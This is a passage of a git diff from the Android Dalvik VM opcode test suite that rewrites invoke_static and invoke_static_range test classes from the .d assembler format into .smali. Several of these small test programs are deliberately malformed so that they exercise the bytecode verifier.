+.super Ljava/lang/Object;
+.source "TestProtected.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method protected static testP()I
+    .registers 2
+
+    const v0, 0x378
+
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_19.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_19.d
deleted file mode 100644
index e94e2a3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_19.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_static_19.java
-.class public dot.junit.opcodes.invoke_static.d.T_invoke_static_19
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 3
-
-       invoke-static {}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-       const/4 v0, 0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_19.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_19.smali
new file mode 100644
index 0000000..cbaa941
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_19.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_19.java"
+.class  public Ldot/junit/opcodes/invoke_static/d/T_invoke_static_19;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 3
+
+       invoke-static {}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+       const/4 v0, 0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_2.d
deleted file mode 100644
index 1c53ad3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_static_2.java
-.class public dot.junit.opcodes.invoke_static.d.T_invoke_static_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-static {}, dot/junit/opcodes/invoke_static/TestClass/test()I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_2.smali
new file mode 100644
index 0000000..89abdfc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_2.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_2.java"
+.class  public Ldot/junit/opcodes/invoke_static/d/T_invoke_static_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-static {}, Ldot/junit/opcodes/invoke_static/TestClass;->test()I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_20.d
deleted file mode 100644
index 9ef67a0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_20.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_static_20.java
-.class public dot.junit.opcodes.invoke_static.d.T_invoke_static_20
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const-wide v1, 1
-       invoke-static {v1}, java/lang/Math/abs(I)I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_20.smali
new file mode 100644
index 0000000..f0bee86
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_20.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_20.java"
+.class  public Ldot/junit/opcodes/invoke_static/d/T_invoke_static_20;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const-wide v1, 1
+       invoke-static {v1}, Ljava/lang/Math;->abs(I)I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_24.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_24.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_24.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_24.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_24.smalis/TTestInterface.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_24.smalis/TTestInterface.smali
new file mode 100644
index 0000000..fa9f094
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_24.smalis/TTestInterface.smali
@@ -0,0 +1,22 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_static/d/TTestInterface;
+.super Ljava/lang/Object;
+.source "TTestInterface.java"
+
+
+# virtual methods
+.method public abstract test()V
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_24.smalis/TTestInterfaceImpl.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_24.smalis/TTestInterfaceImpl.smali
new file mode 100644
index 0000000..e2e840c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_24.smalis/TTestInterfaceImpl.smali
@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_static/d/TTestInterfaceImpl;
+.super Ljava/lang/Object;
+.source "TTestInterfaceImpl.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/invoke_static/d/TTestInterface;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public test()V
+    .registers 1
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_24.smalis/T_invoke_static_24.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_24.smalis/T_invoke_static_24.smali
new file mode 100644
index 0000000..52c37c1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_24.smalis/T_invoke_static_24.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_static/d/T_invoke_static_24;
+.super Ldot/junit/opcodes/invoke_static/d/TTestInterfaceImpl;
+.source "T_invoke_static_24.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ldot/junit/opcodes/invoke_static/d/TTestInterfaceImpl;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 8
+
+    invoke-static {p0}, Ldot/junit/opcodes/invoke_static/d/TTestInterface;->test()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_3.d
deleted file mode 100644
index 321761f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_static_3.java
-.class public dot.junit.opcodes.invoke_static.d.T_invoke_static_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, -1234567
-       invoke-static {v1}, java/lang/Math/abs(I)I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_3.smali
new file mode 100644
index 0000000..5adf1ec
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_3.java"
+.class  public Ldot/junit/opcodes/invoke_static/d/T_invoke_static_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       const v1, -1234567
+       invoke-static {v1}, Ljava/lang/Math;->abs(I)I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_4.d
deleted file mode 100644
index 4212854..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_4.d
+++ /dev/null
@@ -1,43 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_static_4.java
-.class public dot.junit.opcodes.invoke_static.d.T_invoke_static_4
-.super java/lang/Object
-
-.field static val J
-
-.method static <clinit>()V
-.limit regs 2
-
-       const-wide/32 v0, 123456789
-       sput-wide v0, dot.junit.opcodes.invoke_static.d.T_invoke_static_4.val J
-       return-void
-.end method
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()J
-.limit regs 4
-Label0:
-       sget-wide v2, dot.junit.opcodes.invoke_static.d.T_invoke_static_4.val J
-       return-wide v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_4.smali
new file mode 100644
index 0000000..ab8bf27
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_4.smali
@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_4.java"
+.class  public Ldot/junit/opcodes/invoke_static/d/T_invoke_static_4;
+.super  Ljava/lang/Object;
+
+.field static val:J
+
+.method static constructor <clinit>()V
+.registers 2
+
+       const-wide/32 v0, 123456789
+       sput-wide v0, Ldot/junit/opcodes/invoke_static/d/T_invoke_static_4;->val:J
+       return-void
+.end method
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()J
+.registers 4
+:Label0
+       sget-wide v2, Ldot/junit/opcodes/invoke_static/d/T_invoke_static_4;->val:J
+       return-wide v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_5.d
deleted file mode 100644
index a3c8c91..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_5.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_static_5.java
-.class public dot.junit.opcodes.invoke_static.d.T_invoke_static_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const/4 v2, 5
-       invoke-static {v2}, dot/junit/opcodes/invoke_static/d/T_invoke_static_5/test(I)I
-       move-result v0
-       return v0
-.end method
-
-.method public test(I)I
-.limit regs 5
-
-       return v4
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_5.smali
new file mode 100644
index 0000000..5de1192
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_5.smali
@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_5.java"
+.class  public Ldot/junit/opcodes/invoke_static/d/T_invoke_static_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const/4 v2, 5
+       invoke-static {v2}, Ldot/junit/opcodes/invoke_static/d/T_invoke_static_5;->test(I)I
+       move-result v0
+       return v0
+.end method
+
+.method public test(I)I
+.registers 5
+
+       return v4
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_6.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_6.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_6.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_6.smali
new file mode 100644
index 0000000..8d8161f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_6.smali
@@ -0,0 +1,40 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_static/d/T_invoke_static_6;
+.super Ljava/lang/Object;
+.source "T_invoke_static_6.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method public static native test()V
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 1
+
+    invoke-static {}, Ldot/junit/opcodes/invoke_static/d/T_invoke_static_6;->test()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_7.d
deleted file mode 100644
index b58d3b2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_7.d
+++ /dev/null
@@ -1,39 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_static_7.java
-.class public dot.junit.opcodes.invoke_static.d.T_invoke_static_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static test()V
-.limit regs 0
-       return-void
-.end method
-
-.method public run()V
-.limit regs 1
-
-       invoke-static {}, dot/junit/opcodes/invoke_static/d/T_invoke_static_7/testN()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_7.smali
new file mode 100644
index 0000000..e0e6751e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_7.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_7.java"
+.class  public Ldot/junit/opcodes/invoke_static/d/T_invoke_static_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static test()V
+.registers 0
+       return-void
+.end method
+
+.method public run()V
+.registers 1
+
+       invoke-static {}, Ldot/junit/opcodes/invoke_static/d/T_invoke_static_7;->testN()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_8.d
deleted file mode 100644
index 9a4d964..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_8.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_static_8.java
-.class public dot.junit.opcodes.invoke_static.d.T_invoke_static_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 1
-       invoke-static {}, dot/junit/opcodes/invoke_static/TestClass/testPvt()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_8.smali
new file mode 100644
index 0000000..d61ef42
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static/d/T_invoke_static_8.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_8.java"
+.class  public Ldot/junit/opcodes/invoke_static/d/T_invoke_static_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 1
+       invoke-static {}, Ldot/junit/opcodes/invoke_static/TestClass;->testPvt()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_1.d
deleted file mode 100644
index 1f8dac7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_1.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_static_range_1.java
-.class public dot.junit.opcodes.invoke_static_range.d.T_invoke_static_range_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       const v1, -1234567
-       invoke-static/range {v1}, java/lang/Math/abs(I)I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_1.smali
new file mode 100644
index 0000000..536369b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_1.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_static_range_1.java"
+.class  public Ldot/junit/opcodes/invoke_static_range/d/T_invoke_static_range_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
